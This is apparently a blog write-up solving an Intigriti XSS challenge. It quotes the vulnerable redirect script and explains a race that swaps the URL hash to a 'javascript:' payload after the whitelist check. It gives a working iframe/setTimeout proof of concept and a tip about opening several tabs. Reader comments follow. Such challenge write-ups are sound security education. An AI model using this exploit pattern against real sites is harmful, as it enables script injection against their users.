Last week Intigriti had posted an XSS challenge on Twitter. I decided to give it a look. Today , in this article I am going to explain how I solved this challenge.
Here is the code,
<script>
const whitelist = ['intigriti.com','intigriti.io'];
var url = new URL(location.hash.substr(1));
if(whitelist.indexOf(url.hostname) > -1){
document.write("Redirecting you to " + encodeURIComponent(url.href) + "...");
window.setTimeout(function(){
location = location.hash.substr(1);
});
}
else{
document.write(url.hostname + " is not a valid domain.")
}
</script>
Let’s understand what this code does.var url = new URL(location.hash.substr(1));
It just extracts everything after hash and tries to make a valid URL out of it and if it can’t then it throws an error. if(whitelist.indexOf(url.hostname) > -1){
…}
This part checks if the hostname after ‘#’ belongs to intigriti. If it goes inside an if condition then it writes encoded url.href into the DOM and a redirection is followed to that domain soon after.
document.write("Redirecting you to " + encodeURIComponent(url.href) + "…") window.setTimeout(function(){ location = location.hash.substr(1); });
Here is a possible injection point but everything is encoded with encodeURIComponent . So , we can’t escape out of that block to execute arbitrary JS.
There is location = location.hash.substr(1);
May be we can inject our payload here. When we try the following code in console then it shows an alert. location = "javascript:alert(1)"
But how can we pass “javascript:alert(1)” after ‘#” when there is a domain name check ? Before digging into to it let us recap everything.
- The script extracts everything after ‘#’ from the URL.
- It makes a URL out of the domain name extracted from above.
- If the URL matches
'intigriti.com' or 'intigriti.io'
then
a redirection message is written into the DOM and page gets redirected to the supplied URL. - If the URL does not pass the domain check then it says the domain name is not valid.
Finding the root cause
If you look at the code carefully then you will notice that “location.hash.substr(1)
” is used twice in the code.
1) It is used to make a URL .
2) It is used to redirect the page to the supplied URL.
Javascript executes code line by line and of course getting to another statement takes time.
Going from line 3 to line 7 takes some time although very little. As you can see in the line 7 , location.hash.substr(1) is used again which is the main flaw here. But how can we use this for our profit?
Well , the idea here is to use http://intigriti.io initially and change it later before the code reaches to line 7 to ‘javascript:alert(1)’ so that an XSS is popped up. But how can we change the URL?
No XFO header to the rescue.
There is no XFO response header which means we can frame https://challenge.intigriti.io in our site and we can change the value of src dynamically to pop up a sweet XSS. We need to change the string after ‘#’ to our javascript payload through JS in the main site which frames ‘challenge.intigriti.io’ .
Attack scenario
- Load ‘https://challenge.intigriti.io/#https://intigriti.io’ in an iframe so that domain check is passed.
- Using a setTimeout to dynamically change the value of # to JS payload after awhile.
https://challenge.intigriti.io/#javascript:alert(document.domain)
Proof Of Concept Code
<html>
<head>
</head>
<body>
<iframe id= "xss" src="https://challenge.intigriti.io/#https://intigriti.io"></iframe>
</body>
<script>
setTimeout(function(e){document.getElementById('xss').src = "https://challenge.intigriti.io/#javascript:alert(document.domain)"},200);
</script>
</html>
Note : this proof of concept code needs a few tries as there are chances that the redirection happens before 200ms. If it had to be exploited in real life scenario then we could fire up a few tabs at once which increases script execution chances.
Nice Content!
Hi there, just wanted to mention, I enjoyed this article. It was helpful. Keep on posting!| а
Event Loop Rocks
Beautiful <3